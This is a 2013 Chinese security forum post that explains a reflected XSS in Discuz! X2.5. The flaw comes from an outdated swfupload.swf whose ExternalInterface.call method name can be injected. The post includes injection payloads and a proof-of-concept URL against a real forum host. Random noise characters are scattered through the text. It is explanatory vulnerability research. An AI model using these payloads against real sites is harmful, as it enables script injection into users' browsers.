找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1972|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说1 f# D8 W4 R- E! m0 I/ z1 B! A1 v
- @$ @7 b& T. U  X
flash.external.ExternalInterface.call($methodName, $parameter)
6 M9 |* D& I9 T, z+ v" X3 @在浏览器中执行的是+ K9 }3 A5 X$ R) F6 c3 p. l  j

3 d+ o. U  ^( ?0 L4 Xtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
6 O8 [. G6 r( I) p% g* T对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
- ^6 F. [6 a, L1 Q2 B
4 c1 L  x/ f# B" o- z# Q* n5 f# dflash.external.ExternalInterface.call("object."+$methodName, $parameter)9 Y$ T( L" b2 p( o  c! H( e; u( D
$methodName = a())}catch(e){alert(/xss/)}//
2 b5 A8 V5 E# M: v) _0 R  `% z结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。8 v2 Z5 i* [. b$ p+ c! V5 A
9 P* ^/ Z* b$ B/ d9 n' E+ [+ v" T
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }; q( L; ?5 X5 I4 U3 \
/ `; E& f+ [) ?" V3 a" c( |- X
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ): b/ _: H: F2 ~8 w( ~6 k/ M9 Z
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
+ s4 H" Z4 s) [+ _, Z- `6 f+ E9 t* e: O# M+ u: Z
7 Z2 e4 L* j* r4 e

8 i5 D/ e7 W8 a: g. W) I" [漏洞文件:upload\static\image\common\swfupload.swf
: A3 X+ n. Q. l7 L3 _9 r% q
* G; M, g0 }5 |原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
$ Z8 o$ G/ \# g' v$ o8 n. O
8 U, s  \5 Q) D: B$ W% k! t5 y$ r+ z4 @+ x
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
$ V" y0 w/ i: U* g' X
3 m* [9 a$ B! u) [5 O/ f' n' w! E4 C9 ?8 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表